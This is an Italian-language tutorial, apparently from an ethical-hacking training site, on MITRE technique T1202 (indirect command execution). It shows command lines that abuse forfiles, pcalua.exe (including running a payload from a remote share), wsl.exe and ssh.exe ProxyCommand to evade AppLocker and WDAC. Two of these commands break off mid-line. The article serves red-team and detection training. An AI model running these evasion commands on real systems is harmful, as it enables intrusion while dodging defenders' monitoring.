Esecuzione Indiretta di Comandi: Indirect Command Execution (T1202)
La tecnica T1202 - Indirect Command Execution rientra nella tattica TA0005 (Defense Evasion) e descrive l'abuso di utility Windows legittime capaci di eseguire comandi o programmi senza invocare direttamente cmd.exe o powershell.exe. Questo approccio consente all'attaccante di aggirare controlli come Group Policy, AppLocker o WDAC che restringono l'uso degli interpreti standard o filtrano estensioni notoriamente associate a payload malevoli.
Gli strumenti sfruttabili includono Forfiles, il Program Compatibility Assistant (pcalua.exe), i componenti di Windows Subsystem for Linux (wsl.exe), Scriptrunner.exe e persino il client OpenSSH nativo (ssh.exe), che tramite le opzioni ProxyCommand e LocalCommand può eseguire comandi arbitrari sia da riga di comando (-o) sia modificando il file di configurazione %USERPROFILE%.ssh\config.
Sul piano operativo, la tecnica compare in fase di Execution e Defense Evasion della kill chain, spesso come ponte fra un dropper iniziale e il payload principale. I dati MITRE ATT&CK associano T1202 a 2 gruppi APT (Lazarus Group e RedCurl) e 2 famiglie di software (Forfiles come dual-use tool e Revenge RAT come malware), a conferma di un utilizzo trasversale sia da parte di attori state-sponsored sia da operatori criminali. L'impatto principale non è distruttivo ma consiste nella riduzione della visibilità del SOC e nell'elusione delle blocklist basate su parent-child process convenzionali.
Dal punto di vista offensivo, T1202 è utile quando l'ambiente target blocca l'esecuzione diretta di cmd.exe o powershell.exe tramite policy o quando il team blu monitora aggressivamente questi processi. L'obiettivo del red teamer è dimostrare come una utility firmata Microsoft possa fungere da proxy di esecuzione, generando una catena parent-child inaspettata.
Un primo esempio classico è Forfiles, pensato per iterare file in una directory ed eseguire un comando per ciascuno. La sintassi forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe usa la ricerca come pretesto per lanciare calc.exe con forfiles.exe come parent. Sostituendo calc.exe con un binario arbitrario si ottiene esecuzione indiretta senza toccare cmd. Questa è la tecnica documentata per Lazarus Group, che ha usato forfiles.exe per eseguire file .htm come parte dei propri meccanismi di persistenza, e per Revenge RAT.
Una seconda strada è pcalua.exe, il Program Compatibility Assistant, sfruttato da RedCurl per offuscare l'esecuzione di binari e connessioni remote. La sintassi tipica è pcalua.exe -a \server\share\payload.exe oppure pcalua.exe -a cmd.exe -c "comando". Il vantaggio è che il processo padre appare come utility di compatibilità legittima.
Con WSL installato, wsl.exe -e /bin/bash -c "curl
La catena più elegante sfrutta il client OpenSSH nativo: ssh.exe -o ProxyCommand="powershell -c
Per la fase di validazione sono utili Atomic Red Team (open source), che include test dedicati a T1202, e Sysmon (gratuito) con configurazione SwiftOnSecurity o Olaf Hartong modular per verificare che gli EventID 1 e 3 catturino la catena. Caldera (open source) di MITRE consente di orchestrare la sequenza in scenari end-to-end. Documentare sempre parent PID, command line completa e hash del binario invocato è essenziale per il report finale.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo